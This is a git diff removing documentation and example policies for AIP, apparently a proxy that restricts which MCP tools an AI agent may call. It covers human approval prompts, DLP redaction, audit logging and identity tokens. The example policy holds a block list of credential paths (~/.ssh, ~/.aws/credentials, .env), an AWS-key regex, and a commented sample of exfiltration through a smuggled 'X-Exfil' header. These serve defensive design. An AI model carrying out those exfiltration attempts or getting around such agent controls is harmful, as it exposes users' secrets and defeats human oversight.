-When `spec.mode: monitor`:
-- Policy is evaluated normally
-- Violations are logged with `decision: ALLOW_MONITOR`
-- Requests are forwarded anyway (dry-run)
-- Use for testing policies before enforcement
-
-### Rate Limiting
-
-```yaml
-tool_rules:
- - tool: list_gpus
- rate_limit: "10/minute"
-```
-
-Rate limits are evaluated using a token bucket algorithm per tool name.
-
-## Human-in-the-Loop
-
-For sensitive operations, AIP can prompt the user via native OS dialogs:
-
-```yaml
-tool_rules:
- - tool: run_training
- action: ask
-```
-
-### Implementation
-
-| OS | Method |
-|----|--------|
-| macOS | `osascript` with AppleScript dialog |
-| Linux | `zenity` or `kdialog` |
-| Headless | Auto-deny (fail-closed) |
-
-### Timeout Behavior
-
-- Default timeout: 60 seconds
-- If user doesn't respond: **auto-deny** (fail-closed)
-- If user clicks "Deny": request blocked
-- If user clicks "Allow": request forwarded
-
-## DLP (Data Loss Prevention)
-
-### Response Scanning
-
-DLP inspects tool responses for sensitive patterns:
-
-```yaml
-dlp:
- patterns:
- - name: "AWS Key"
- regex: "(AKIA|ASIA)[A-Z0-9]{16}"
- - name: "SSN"
- regex: "\\b\\d{3}-\\d{2}-\\d{4}\\b"
-```
-
-### Redaction Format
-
-Matched content is replaced with: `[REDACTED:]`
-
-Example:
-```
-Input: "API Key: AKIAIOSFODNN7EXAMPLE"
-Output: "API Key: [REDACTED:AWS Key]"
-```
-
-### Content Parsing
-
-DLP scans the `text` fields within MCP content arrays:
-
-```json
-{
- "result": {
- "content": [
- {"type": "text", "text": "sensitive data here"}
- ]
- }
-}
-```
-
-If response doesn't match expected structure, a full-string scan is performed.
-
-## Audit System
-
-### Log Format
-
-JSONL (JSON Lines) format, one record per line:
-
-```json
-{
- "timestamp": "2026-01-20T10:30:00Z",
- "event_type": "TOOL_CALL",
- "tool": "github_create_review",
- "args": {"repo": "mycompany/backend", "event": "APPROVE"},
- "decision": "ALLOW",
- "violation": false,
- "policy_mode": "enforce"
-}
-```
-
-### Event Types
-
-| Event | Description |
-|-------|-------------|
-| `TOOL_CALL` | Tool call evaluation (allow/block) |
-| `DLP_TRIGGERED` | Sensitive data redacted |
-| `USER_PROMPT` | Human-in-the-loop prompt result |
-| `RATE_LIMITED` | Rate limit exceeded |
-
-### Querying Logs
-
-```bash
-# All violations
-cat aip-audit.jsonl | jq 'select(.violation == true)'
-
-# Tool usage summary
-cat aip-audit.jsonl | jq -r '.tool' | sort | uniq -c
-
-# DLP events
-cat aip-audit.jsonl | jq 'select(.event_type == "DLP_TRIGGERED")'
-```
-
-## Design Decisions
-
-### Why stdin/stdout Proxy?
-
-MCP uses JSON-RPC over stdio. The proxy pattern allows:
-- **Transparency**: No changes to client or server
-- **Composability**: Chain multiple proxies
-- **Debuggability**: All traffic flows through one point
-
-### Why YAML Policies?
-
-- Human-readable and editable
-- GitOps-friendly (version control, code review)
-- Established pattern (Kubernetes, CloudFormation)
-- Extensible schema
-
-### Why Not OAuth?
-
-OAuth scopes are:
-- Coarse-grained ("repo access" vs "read pull requests")
-- Static (granted at install time)
-- User-facing (consent fatigue)
-
-AIP policies are:
-- Fine-grained (per-tool, per-argument)
-- Dynamic (can change without re-auth)
-- Developer-controlled (in config files)
-
-### Why Local Binary, Not Service?
-
-- **Zero network latency**: Proxy runs in same process chain
-- **No shared state**: Each agent gets isolated policy
-- **Offline operation**: Works without external dependencies
-- **Simpler deployment**: Single binary, no database
diff --git a/implementations/go-proxy/docs/identity-guide.md b/implementations/go-proxy/docs/identity-guide.md
deleted file mode 100644
index e957de2..0000000
--- a/implementations/go-proxy/docs/identity-guide.md
+++ /dev/null
@@ -1,111 +0,0 @@
-# Identity Management Guide
-
-## Overview
-
-AIP v1alpha2 introduces **Identity Tokens** to provide cryptographic proof of session identity. This prevents unauthorized agents from hijacking sessions or replaying requests.
-
-Identity management in AIP provides:
-1. **Session Binding**: Cryptographically binds requests to a specific agent session.
-2. **Automatic Rotation**: Short-lived tokens are automatically rotated to limit exposure.
-3. **Replay Prevention**: Nonces prevent captured tokens from being reused.
-4. **Policy Integrity**: Ensures the policy hasn't changed during the session.
-
-## When to Use Identity Tokens
-
-You should enable identity tokens when:
-
-* **Multi-tenant environments**: Multiple agents share the same infrastructure or policy.
-* **Zero-trust deployments**: You don't trust the network between the agent and the proxy.
-* **Audit requirements**: You need to correlate specific tool calls to a verified session.
-* **Remote validation**: You are using the AIP Server for centralized policy enforcement.
-
-## Configuration
-
-Identity is configured in the `spec.identity` section of your policy file.
-
-```yaml
-apiVersion: aip.io/v1alpha2
-kind: AgentPolicy
-metadata:
- name: secure-agent
-spec:
- identity:
- enabled: true
- token_ttl: "10m" # Tokens valid for 10 minutes
- rotation_interval: "8m" # Rotate after 8 minutes
- require_token: true # Block requests without tokens
- session_binding: "strict" # Bind to process + policy + host
- audience: "https://api.company.com" # Prevent token reuse across services
-```
-
-### Key Fields
-
-| Field | Description | Recommended Value |
-|-------|-------------|-------------------|
-| `enabled` | Activates identity management | `true` |
-| `token_ttl` | How long a token is valid | `"5m"` to `"15m"` |
-| `rotation_interval` | When to issue a new token | `80%` of `token_ttl` |
-| `require_token` | Whether to enforce token presence | `true` (after testing) |
-| `session_binding` | What to bind the session to | See below |
-
-## Session Binding Modes
-
-The `session_binding` field controls how strictly the session is tied to the execution environment.
-
-| Mode | Binds To | Use Case | Security Level |
-|------|----------|----------|----------------|
-| `process` | OS Process ID (PID) | Local agents, single machine | Low |
-| `policy` | Policy Hash | Distributed agents, k8s pods | Medium |
-| `strict` | PID + Policy + Hostname | High-security, static VMs | High |
-
-### Choosing a Mode
-
-* **Use `process`** for local development or simple CLI tools.
-* **Use `policy`** for Kubernetes or containerized environments where PIDs and hostnames change (ephemeral).
-* **Use `strict`** for long-running VMs or bare-metal servers where the environment is stable.
-
-## Token Lifecycle
-
-1. **Issuance**: When the agent starts (or first requests a token), AIP issues a signed JWT.
-2. **Usage**: The agent includes the token in the `Authorization: Bearer ` header (or internal context).
-3. **Rotation**: Before the token expires (at `rotation_interval`), AIP automatically issues a new token.
-4. **Validation**: For every request, AIP checks:
- * Signature validity
- * Expiration time
- * Policy hash match
- * Session binding match
- * Nonce uniqueness (replay check)
-
-## Example: Securing Multi-Tenant Deployments
-
-In a multi-tenant setup, you might have different agents for different teams using the same AIP proxy instance (or cluster).
-
-**Team A Policy (`team-a.yaml`)**:
-```yaml
-metadata:
- name: team-a-agent
-spec:
- identity:
- enabled: true
- audience: "https://aip.internal/team-a"
- session_binding: "policy"
-```
-
-**Team B Policy (`team-b.yaml`)**:
-```yaml
-metadata:
- name: team-b-agent
-spec:
- identity:
- enabled: true
- audience: "https://aip.internal/team-b"
- session_binding: "policy"
-```
-
-By setting different `audience` values and using `session_binding: "policy"`, you ensure that a token stolen from Team A cannot be used to impersonate Team B, even if they share the same underlying infrastructure.
-
-## Common Pitfalls
-
-1. **Rotation Interval too close to TTL**: If `rotation_interval` is equal to or greater than `token_ttl`, tokens will expire before they can be rotated, causing request failures. Keep a buffer (e.g., 20%).
-2. **Strict binding in Kubernetes**: Using `session_binding: "strict"` in Kubernetes will cause session failures if a pod restarts (new PID/hostname). Use `policy` binding instead.
-3. **Ignoring Audience**: Always set `audience` in production to prevent "confused deputy" attacks where a token for one service is used for another.
diff --git a/implementations/go-proxy/docs/integration-guide.md b/implementations/go-proxy/docs/integration-guide.md
deleted file mode 100644
index ac07853..0000000
--- a/implementations/go-proxy/docs/integration-guide.md
+++ /dev/null
@@ -1,363 +0,0 @@
-# Integration Guide
-
-How to integrate AIP with your development environment and AI tools.
-
-## Table of Contents
-
-- [Cursor IDE](#cursor-ide)
-- [VS Code](#vs-code)
-- [Claude Desktop](#claude-desktop)
-- [Command Line](#command-line)
-- [Docker](#docker)
-- [Kubernetes](#kubernetes)
-
-## Cursor IDE
-
-Cursor natively supports MCP servers. AIP wraps your MCP servers with policy enforcement.
-
-### Quick Setup
-
-1. **Build AIP**:
- ```bash
- cd proxy
- make build
- ```
-
-2. **Create a policy** (`~/.config/aip/my-policy.yaml`):
- ```yaml
- apiVersion: aip.io/v1alpha1
- kind: AgentPolicy
- metadata:
- name: cursor-policy
- spec:
- mode: enforce
- allowed_tools:
- - read_file
- - list_directory
- - search_files
- tool_rules:
- - tool: write_file
- action: ask # Prompt for approval
- - tool: exec_command
- action: block
- ```
-
-3. **Generate Cursor config**:
- ```bash
- ./bin/aip --generate-cursor-config \
- --policy ~/.config/aip/my-policy.yaml \
- --target "npx @modelcontextprotocol/server-filesystem /path/to/workspace"
- ```
-
-4. **Add to Cursor settings** (`~/.cursor/mcp.json`):
- ```json
- {
- "mcpServers": {
- "protected-filesystem": {
- "command": "/path/to/aip",
- "args": [
- "--policy", "/Users/you/.config/aip/my-policy.yaml",
- "--target", "npx @modelcontextprotocol/server-filesystem /path/to/workspace"
- ]
- }
- }
- }
- ```
-
-5. **Restart Cursor** to load the new MCP server.
-
-### Example: GPU Server with Policy
-
-For your Kubernetes GPU MCP server:
-
-```yaml
-# gpu-policy.yaml
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: k8s-gpu-policy
-spec:
- mode: enforce
- allowed_tools:
- - list_gpus
- - get_gpu_metrics
- - list_pods
- tool_rules:
- - tool: list_gpus
- rate_limit: "10/minute"
- - tool: run_training
- action: ask
- - tool: delete_pod
- action: block
-```
-
-Generate config:
-```bash
-./bin/aip --generate-cursor-config \
- --policy ./gpu-policy.yaml \
- --target "/path/to/k8s-gpu-mcp-server"
-```
-
-### Demo: "Sudo for AI"
-
-1. Ask Cursor: **"List my GPUs."**
- - Tool: `list_gpus`
- - Policy: Allowed with rate limit
- - Result: β
Success
-
-2. Ask Cursor: **"Run a training job on GPU 0."**
- - Tool: `run_training`
- - Policy: `action: ask`
- - Result: π Popup appears
- - Click "Deny" β β "User Denied"
-
-## VS Code
-
-VS Code doesn't have native MCP support, but you can use AIP with extensions like Continue or Cody.
-
-### With Continue Extension
-
-1. Install [Continue](https://continue.dev/) extension
-
-2. Configure Continue to use your MCP server via AIP:
-
- ```json
- // ~/.continue/config.json
- {
- "models": [...],
- "mcpServers": {
- "protected-server": {
- "command": "/path/to/aip",
- "args": [
- "--policy", "/path/to/policy.yaml",
- "--target", "your-mcp-server-command"
- ]
- }
- }
- }
- ```
-
-## Claude Desktop
-
-Claude Desktop supports MCP servers through its configuration.
-
-### Setup
-
-1. Locate config file:
- - macOS: `~/Library/Application Support/Claude/claude_desktop_config.json`
- - Windows: `%APPDATA%\Claude\claude_desktop_config.json`
-
-2. Add AIP-wrapped server:
-
- ```json
- {
- "mcpServers": {
- "protected-tools": {
- "command": "/path/to/aip",
- "args": [
- "--policy", "/path/to/policy.yaml",
- "--target", "npx @modelcontextprotocol/server-filesystem /"
- ]
- }
- }
- }
- ```
-
-3. Restart Claude Desktop.
-
-## Command Line
-
-### Direct Usage
-
-Run AIP directly to wrap any MCP server:
-
-```bash
-# Basic usage
-./aip --target "python my_server.py" --policy policy.yaml
-
-# Verbose mode for debugging
-./aip --target "npx @mcp/server" --policy policy.yaml --verbose
-
-# Monitor mode (dry run)
-./aip --target "docker run mcp/server" --policy monitor-policy.yaml
-```
-
-### Piping Requests
-
-Test with manual JSON-RPC:
-
-```bash
-echo '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_files"},"id":1}' | \
- ./aip --target "python echo_server.py" --policy policy.yaml --verbose
-```
-
-### Viewing Audit Logs
-
-```bash
-# All events
-cat aip-audit.jsonl | jq '.'
-
-# Blocked requests only
-cat aip-audit.jsonl | jq 'select(.decision == "BLOCK")'
-
-# Tool usage summary
-cat aip-audit.jsonl | jq -r '.tool' | sort | uniq -c | sort -rn
-```
-
-## Docker
-
-### Building the Image
-
-```dockerfile
-# Dockerfile
-FROM golang:1.23-alpine AS builder
-WORKDIR /app
-COPY implementations/go-proxy/ .
-RUN go build -o /aip ./cmd/aip-proxy
-
-FROM alpine:latest
-RUN apk --no-cache add ca-certificates
-COPY --from=builder /aip /usr/local/bin/aip
-ENTRYPOINT ["aip"]
-```
-
-Build:
-```bash
-docker build -t aip:latest .
-```
-
-### Running with Docker
-
-```bash
-# Mount policy and run
-docker run -v $(pwd)/policy.yaml:/policy.yaml \
- aip:latest \
- --policy /policy.yaml \
- --target "your-mcp-command"
-```
-
-### Docker Compose
-
-```yaml
-# docker-compose.yaml
-version: '3.8'
-services:
- mcp-proxy:
- image: aip:latest
- volumes:
- - ./policy.yaml:/policy.yaml:ro
- - ./audit:/var/log/aip
- command:
- - --policy
- - /policy.yaml
- - --target
- - "python /app/server.py"
- - --audit
- - /var/log/aip/audit.jsonl
- stdin_open: true
- tty: true
-```
-
-## Kubernetes
-
-### Sidecar Pattern
-
-Deploy AIP as a sidecar container alongside your MCP server:
-
-```yaml
-# deployment.yaml
-apiVersion: apps/v1
-kind: Deployment
-metadata:
- name: mcp-server
-spec:
- template:
- spec:
- containers:
- # Main MCP server
- - name: mcp-server
- image: your-mcp-server:latest
- # Server listens on stdio or a socket
-
- # AIP sidecar
- - name: aip-proxy
- image: aip:latest
- args:
- - --policy
- - /config/policy.yaml
- - --target
- - "nc localhost 8080" # Connect to main server
- - --audit
- - /var/log/aip/audit.jsonl
- volumeMounts:
- - name: policy
- mountPath: /config
- - name: audit
- mountPath: /var/log/aip
-
- volumes:
- - name: policy
- configMap:
- name: aip-policy
- - name: audit
- emptyDir: {}
-```
-
-### ConfigMap for Policy
-
-```yaml
-# configmap.yaml
-apiVersion: v1
-kind: ConfigMap
-metadata:
- name: aip-policy
-data:
- policy.yaml: |
- apiVersion: aip.io/v1alpha1
- kind: AgentPolicy
- metadata:
- name: k8s-policy
- spec:
- mode: enforce
- allowed_tools:
- - list_pods
- - get_logs
- tool_rules:
- - tool: delete_pod
- action: block
-```
-
-### Helm Chart (Future)
-
-A Helm chart is planned for easier Kubernetes deployment. Track progress in [GitHub Issues](https://github.com/ArangoGutierrez/agent-identity-protocol/issues).
-
-## Troubleshooting
-
-### Common Issues
-
-| Issue | Solution |
-|-------|----------|
-| "Policy file not found" | Use absolute path to policy.yaml |
-| "Empty response from server" | Check target command is correct |
-| "Permission denied" | Ensure aip binary is executable |
-| "Headless environment" | `action: ask` will auto-deny without display |
-
-### Debug Mode
-
-Enable verbose logging to diagnose issues:
-
-```bash
-./aip --target "..." --policy policy.yaml --verbose 2>debug.log
-```
-
-Check `debug.log` for detailed message flow.
-
-### Audit Log Analysis
-
-```bash
-# Recent blocked requests
-tail -100 aip-audit.jsonl | jq 'select(.decision == "BLOCK")'
-
-# DLP events
-jq 'select(.event_type == "DLP_TRIGGERED")' aip-audit.jsonl
-```
diff --git a/implementations/go-proxy/docs/quickstart.md b/implementations/go-proxy/docs/quickstart.md
deleted file mode 100644
index acf3276..0000000
--- a/implementations/go-proxy/docs/quickstart.md
+++ /dev/null
@@ -1,196 +0,0 @@
-# Quickstart: AIP Proxy Interception Test
-
-This guide walks through a minimal test demonstrating the AIP proxy's policy enforcement. By the end, you'll see how the proxy blocks unauthorized tool calls while allowing permitted ones.
-
-## Prerequisites
-
-- Go 1.25+
-- Python 3.x
-
-## What We're Building
-
-```
-βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-β stdin ββββββΆβ AIP Proxy ββββββΆβ echo_server.py β
-β (you) β β (policy check) β β (dummy MCP) β
-β βββββββ βββββββ β
-βββββββββββββββ ββββββββββββββββββββ βββββββββββββββββββ
-```
-
-The proxy sits between your input and a dummy MCP server, intercepting `tools/call` requests and checking them against a policy file.
-
-## Step 1: Build the Proxy
-
-```bash
-cd proxy
-go build -o aip-proxy ./cmd/aip-proxy
-```
-
-## Step 2: Create a Test Policy
-
-Create `test/agent.yaml`:
-
-```yaml
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-metadata:
- name: test-policy
-spec:
- allowed_tools:
- - "list_files"
- # "delete_files" is implicitly blocked
-```
-
-This policy allows only `list_files`. Any other tool call will be rejected.
-
-## Step 3: Create a Dummy MCP Server
-
-Create `test/echo_server.py`:
-
-```python
-#!/usr/bin/env python3
-"""
-Dummy MCP server that echoes back JSON-RPC requests.
-"""
-import sys
-import json
-
-def main():
- sys.stdout.reconfigure(line_buffering=True)
-
- for line in sys.stdin:
- line = line.strip()
- if not line:
- continue
-
- try:
- request = json.loads(line)
- response = {
- "jsonrpc": "2.0",
- "id": request.get("id"),
- "result": {
- "echo": request,
- "message": "Request received by echo_server"
- }
- }
- print(json.dumps(response), flush=True)
- except json.JSONDecodeError as e:
- print(json.dumps({
- "jsonrpc": "2.0",
- "id": None,
- "error": {"code": -32700, "message": f"Parse error: {e}"}
- }), flush=True)
-
-if __name__ == "__main__":
- main()
-```
-
-## Step 4: Run the Test
-
-Start the proxy with verbose logging:
-
-```bash
-./aip-proxy --policy test/agent.yaml --target "python3 test/echo_server.py" --verbose
-```
-
-In another terminal (or pipe input), send two requests:
-
-### Test 1: Allowed Tool (`list_files`)
-
-```json
-{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "list_files"}, "id": 1}
-```
-
-**Expected:** Request passes through to `echo_server.py`, response returned.
-
-### Test 2: Blocked Tool (`delete_files`)
-
-```json
-{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "delete_files"}, "id": 2}
-```
-
-**Expected:** Proxy blocks the request, returns error. Request **never reaches** the server.
-
-## Expected Output
-
-```
-[aip-proxy] Loaded policy: test-policy
-[aip-proxy] Allowed tools: [list_files]
-[aip-proxy] Started subprocess PID 2850: python3 test/echo_server.py
-
-[aip-proxy] β [upstream] method=tools/call id=1
-[aip-proxy] Tool call intercepted: list_files
-[aip-proxy] ALLOWED: Tool "list_files" permitted by policy
-
-[aip-proxy] β [upstream] method=tools/call id=2
-[aip-proxy] Tool call intercepted: delete_files
-[aip-proxy] BLOCKED: Tool "delete_files" not allowed by policy
-```
-
-### JSON Responses
-
-**Blocked request (delete_files):**
-
-```json
-{
- "jsonrpc": "2.0",
- "id": 2,
- "error": {
- "code": -32001,
- "message": "Forbidden",
- "data": {
- "reason": "Tool not in allowed_tools list",
- "tool": "delete_files"
- }
- }
-}
-```
-
-**Allowed request (list_files):**
-
-```json
-{
- "jsonrpc": "2.0",
- "id": 1,
- "result": {
- "echo": {
- "jsonrpc": "2.0",
- "method": "tools/call",
- "params": {"name": "list_files"},
- "id": 1
- },
- "message": "Request received by echo_server"
- }
-}
-```
-
-## One-Liner Test
-
-Run both requests in a single command:
-
-```bash
-echo '{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "list_files"}, "id": 1}
-{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "delete_files"}, "id": 2}' | \
-./aip-proxy --policy test/agent.yaml --target "python3 test/echo_server.py" --verbose
-```
-
-## Key Takeaways
-
-| Scenario | Policy Decision | Behavior |
-|----------|-----------------|----------|
-| Tool in `allowed_tools` | ALLOW | Forward to subprocess |
-| Tool not in `allowed_tools` | DENY | Return `-32001 Forbidden`, never forward |
-| Non-tool methods | PASSTHROUGH | Forward without policy check |
-
-## Security Properties Demonstrated
-
-1. **Fail-Closed**: Unknown tools are denied by default
-2. **Zero Trust**: Every `tools/call` is checked, no implicit permissions
-3. **Audit Trail**: All decisions logged with tool name and outcome
-4. **Isolation**: Blocked requests never reach the target server
-
-## Next Steps
-
-- Add more tools to `allowed_tools` in your policy
-- Try with a real MCP server (e.g., `npx @modelcontextprotocol/server-filesystem`)
-- Explore the proxy source code in `cmd/aip-proxy/main.go`
diff --git a/implementations/go-proxy/docs/server-guide.md b/implementations/go-proxy/docs/server-guide.md
deleted file mode 100644
index 678dc12..0000000
--- a/implementations/go-proxy/docs/server-guide.md
+++ /dev/null
@@ -1,124 +0,0 @@
-# Server-Side Validation Guide
-
-## Overview
-
-AIP v1alpha2 introduces **Server-Side Validation**, allowing you to decouple policy enforcement from the agent's runtime. Instead of running the AIP proxy locally with the agent, you can run a centralized AIP Server that validates tool calls over HTTP.
-
-Benefits:
-* **Centralized Control**: Update policies in one place without redeploying agents.
-* **Audit Aggregation**: Collect audit logs from all agents in a single stream.
-* **Secret Protection**: Keep sensitive policy details (like regex patterns or protected paths) on the server.
-
-## Architecture
-
-```
-[Agent / MCP Client] ---> [AIP Server] ---> [MCP Server]
- (HTTP) (HTTP)
-```
-
-The agent sends a validation request to the AIP Server. If approved, the agent proceeds to call the tool (or the AIP Server can proxy the call directly, depending on deployment).
-
-## Configuration
-
-To enable the server, configure the `spec.server` section in your policy.
-
-```yaml
-apiVersion: aip.io/v1alpha2
-kind: AgentPolicy
-metadata:
- name: centralized-policy
-spec:
- server:
- enabled: true
- listen: "0.0.0.0:9443" # Listen on all interfaces
- failover_mode: "fail_closed"
- tls:
- cert: "/etc/aip/certs/server.crt"
- key: "/etc/aip/certs/server.key"
-```
-
-## Setting up TLS (Production)
-
-For any non-localhost deployment, **TLS is required**.
-
-1. **Generate Certificates**:
- ```bash
- openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
- ```
-
-2. **Configure Policy**:
- Point the `tls.cert` and `tls.key` fields to your generated files.
-
-3. **Client Trust**:
- Ensure your agents trust the CA that signed the server certificate.
-
-## Endpoints
-
-The AIP Server exposes the following endpoints:
-
-* `POST /v1/validate`: The main validation endpoint. Accepts a tool call description and returns Allow/Block/Ask.
-* `GET /health`: Health check for load balancers.
-* `GET /metrics`: Prometheus metrics.
-* `GET /v1/jwks`: JSON Web Key Set for verifying identity tokens.
-
-## Prometheus Metrics Integration
-
-The server exposes standard Prometheus metrics at `/metrics`.
-
-**Key Metrics**:
-
-* `aip_requests_total`: Total number of validation requests.
-* `aip_decisions_total{decision="allow|block"}`: Count of allowed vs blocked requests.
-* `aip_violations_total{type="..."}`: Detailed breakdown of policy violations.
-* `aip_request_duration_seconds`: Latency histogram.
-
-**Example Prometheus Config**:
-
-```yaml
-scrape_configs:
- - job_name: 'aip-server'
- static_configs:
- - targets: ['aip-server:9443']
- scheme: https
- tls_config:
- insecure_skip_verify: false # Set to true only for self-signed
-```
-
-## Failover Modes
-
-What happens if the AIP Server is unreachable?
-
-| Mode | Behavior | Use Case |
-|------|----------|----------|
-| `fail_closed` | **Block** all requests. | High-security environments. Default. |
-| `fail_open` | **Allow** all requests (log warning). | Development or non-critical tools. |
-| `local_policy` | Fallback to a **local** policy file. | Hybrid deployments (best of both worlds). |
-
-**Example: Local Policy Fallback**
-
-```yaml
-spec:
- server:
- enabled: true
- failover_mode: "local_policy"
- timeout: "2s"
-```
-
-In this mode, the agent tries the server first. If it times out after 2 seconds, it evaluates the request against the local policy file.
-
-## Example: Centralized Policy Enforcement
-
-1. **Deploy AIP Server**:
- Run the AIP binary in "server mode" with your master policy.
- ```bash
- ./aip server --policy master-policy.yaml
- ```
-
-2. **Configure Agents**:
- Configure your agents to use the remote validator.
- ```bash
- export AIP_VALIDATOR_URL="https://aip-server:9443/v1/validate"
- ./agent ...
- ```
-
- *(Note: Client-side configuration depends on the specific MCP client implementation. See your client's documentation for AIP integration.)*
diff --git a/implementations/go-proxy/examples/agent-monitor.yaml b/implementations/go-proxy/examples/agent-monitor.yaml
deleted file mode 100644
index 4a59cce..0000000
--- a/implementations/go-proxy/examples/agent-monitor.yaml
+++ /dev/null
@@ -1,59 +0,0 @@
-# Example AIP Policy Manifest - Monitor Mode (Dry Run)
-#
-# This policy operates in "monitor" mode, which allows all requests through
-# but logs violations to the audit file. Use this mode to:
-# - Test new policies before enforcement
-# - Understand agent behavior in production
-# - Gradually roll out stricter policies
-#
-# Usage:
-# aip-proxy --target "python mcp_server.py" --policy examples/agent-monitor.yaml
-#
-# Check audit log for violations:
-# cat aip-audit.jsonl | jq 'select(.violation == true)'
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: code-review-agent-monitor
- version: "1.0.0"
- owner: platform-team@company.com
-
-spec:
- # MONITOR MODE: Violations are logged but requests pass through
- # Change to "enforce" to block violations
- mode: monitor
-
- # Tools that this agent is allowed to invoke.
- # In monitor mode, tools NOT in this list will be logged as violations
- # but still allowed through.
- allowed_tools:
- # GitHub read operations
- - github_get_repo
- - github_list_pulls
- - github_get_pull
- - github_list_commits
-
- # GitHub write operations (limited)
- - github_create_review
- - github_add_comment
-
- # Filesystem operations (read-only)
- - read_file
- - list_directory
-
- # Argument-level validation rules
- # In monitor mode, failed argument validation is logged but allowed
- tool_rules:
- - tool: fetch_url
- allow_args:
- # Only allow HTTPS URLs from trusted domains
- url: "^https://(github\\.com|api\\.github\\.com)/.*"
-
- - tool: run_query
- allow_args:
- # Only allow read-only queries
- query: "^SELECT\\s+.*"
- # Only allow specific databases
- database: "^(analytics|reporting)$"
diff --git a/implementations/go-proxy/examples/agent.yaml b/implementations/go-proxy/examples/agent.yaml
deleted file mode 100644
index a3114da..0000000
--- a/implementations/go-proxy/examples/agent.yaml
+++ /dev/null
@@ -1,231 +0,0 @@
-# Example AIP Policy Manifest
-#
-# This file defines what tools an agent is allowed to use.
-# The AIP proxy loads this file at startup and enforces these rules
-# on every tool/call request.
-#
-# Usage:
-# aip-proxy --target "python mcp_server.py" --policy examples/agent.yaml
-#
-# For monitor mode (dry-run), set spec.mode: monitor
-# This logs violations but allows requests through for testing policies.
-
-apiVersion: aip.io/v1alpha1
-kind: AgentPolicy
-
-metadata:
- name: code-review-agent
- version: "1.0.0"
- owner: platform-team@company.com
-
-spec:
- # Policy enforcement mode:
- # - "enforce" (default): Block violations, return error to client
- # - "monitor": Log violations but allow through (dry-run mode)
- #
- # Monitor mode is useful for:
- # - Testing new policies before enforcement
- # - Understanding agent behavior in production
- # - Gradual policy rollout
- mode: enforce
-
- # ============================================================================
- # METHOD ALLOWLIST (First Line of Defense)
- # ============================================================================
- #
- # Control which JSON-RPC methods are permitted. This is checked BEFORE
- # tool-level policy, preventing bypass attacks via methods like resources/read.
- #
- # If omitted, only safe default methods are allowed:
- # - tools/call, tools/list (subject to tool policy)
- # - initialize, initialized, ping (MCP handshake)
- # - completion/complete, notifications/*
- #
- # SECURITY: The following are BLOCKED by default:
- # - resources/read, resources/list (can read arbitrary files!)
- # - prompts/get, prompts/list (can access prompt templates)
- #
- # Uncomment below to explicitly allow additional methods:
- #
- # allowed_methods:
- # - tools/call
- # - tools/list
- # - resources/read # β οΈ DANGEROUS: Only enable if you understand the risk
- # - prompts/list
- #
- # To block specific methods (takes precedence over allowed):
- # denied_methods:
- # - resources/write
- # - logging/setLevel
-
- # ============================================================================
- # TOOL ALLOWLIST
- # ============================================================================
- #
- # Tools that this agent is allowed to invoke.
- # Any tool not in this list will be blocked with a -32001 Forbidden error.
- #
- # Tool names should match exactly what the MCP server reports in tools/list.
- # Common patterns:
- # - github_get_repo, github_list_pulls, github_create_review
- # - postgres_query
- # - slack_post_message
- allowed_tools:
- # GitHub read operations
- - github_get_repo
- - github_list_pulls
- - github_get_pull
- - github_list_commits
-
- # GitHub write operations (limited)
- - github_create_review
- - github_add_comment
-
- # Filesystem operations (read-only)
- - read_file
- - list_directory
-
- # Explicitly NOT allowed (for reference):
- # - github_delete_repo # Destructive
- # - github_push # Write to repo
- # - postgres_query # Database access
- # - slack_post_message # External communication
- # - exec_command # Arbitrary code execution
-
- # ============================================================================
- # PROTECTED PATHS (Policy Self-Modification Defense)
- # ============================================================================
- #
- # Paths that tools may not read, write, or modify.
- # Any tool argument containing a protected path will be BLOCKED.
- #
- # The policy file itself is ALWAYS protected (added automatically).
- # Add additional sensitive paths here:
- #
- protected_paths:
- - ~/.ssh # SSH keys
- - ~/.aws/credentials # AWS credentials
- - ~/.config/gcloud # GCP credentials
- - .env # Environment variables
- - .env.local # Local environment
- # Note: The policy file (this file) is automatically protected
-
- # ============================================================================
- # STRICT ARGS MODE (Global Default)
- # ============================================================================
- #
- # When strict_args_default is true, tools reject any arguments not declared
- # in their allow_args. This prevents exfiltration attacks via extra args.
- #
- # Example attack prevented:
- # Policy validates: url: "^https://github.com/.*"
- # Attacker sends: {"url": "https://github.com/ok", "headers": {"X-Exfil": "secret"}}
- # Without strict: headers passes through unchecked (BAD!)
- # With strict: BLOCKED - "headers" not in allow_args (GOOD!)
- #
- # strict_args_default: false # Uncomment to enable globally
- #
- # Individual tools can override with strict_args: true/false
-
- # ============================================================================
- # TOOL RULES
- # ============================================================================
- #
- # Each rule can specify:
- # - action: "allow" (default), "block", or "ask"
- # - strict_args: true/false (override global default)
- # - allow_args: Regex patterns for argument validation
- #
- # Action types:
- # - "allow": Permit the tool call (subject to arg validation)
- # - "block": Deny the tool call unconditionally
- # - "ask": Prompt user via native OS dialog for approval (Human-in-the-Loop)
- #
- # The "ask" action spawns a native dialog box asking the user to
- # Approve or Deny. If the user doesn't respond within 60 seconds,
- # the request is auto-denied (fail-closed behavior).
- tool_rules:
- # Example: Dangerous tool requires explicit user approval
- - tool: dangerous_tool
- action: ask
-
- # Example: Shell execution requires approval AND argument validation
- - tool: exec_command
- action: ask
- allow_args:
- command: "^(ls|cat|echo|pwd)\\s.*" # Only safe read-only commands
-
- # Example: Database queries allowed but only SELECT statements
- - tool: postgres_query
- action: allow
- allow_args:
- query: "^SELECT\\s+.*"
-
- # Example: High-security API with strict argument validation
- # Only declared arguments are allowed; extra args are blocked
- - tool: http_request
- strict_args: true
- allow_args:
- url: "^https://api\\.github\\.com/.*"
- method: "^(GET|POST)$"
- # With strict_args: true, these would be BLOCKED:
- # {"url": "...", "method": "GET", "headers": {...}} β headers not declared
- # {"url": "...", "method": "GET", "body": "..."} β body not declared
-
- # Example: Explicitly block destructive operations
- - tool: github_delete_repo
- action: block
-
- - tool: drop_table
- action: block
-
- # DLP (Data Loss Prevention) - Output Redaction
- #
- # The DLP scanner inspects tool responses (downstream) for sensitive data
- # and redacts matches before forwarding to the client. This prevents
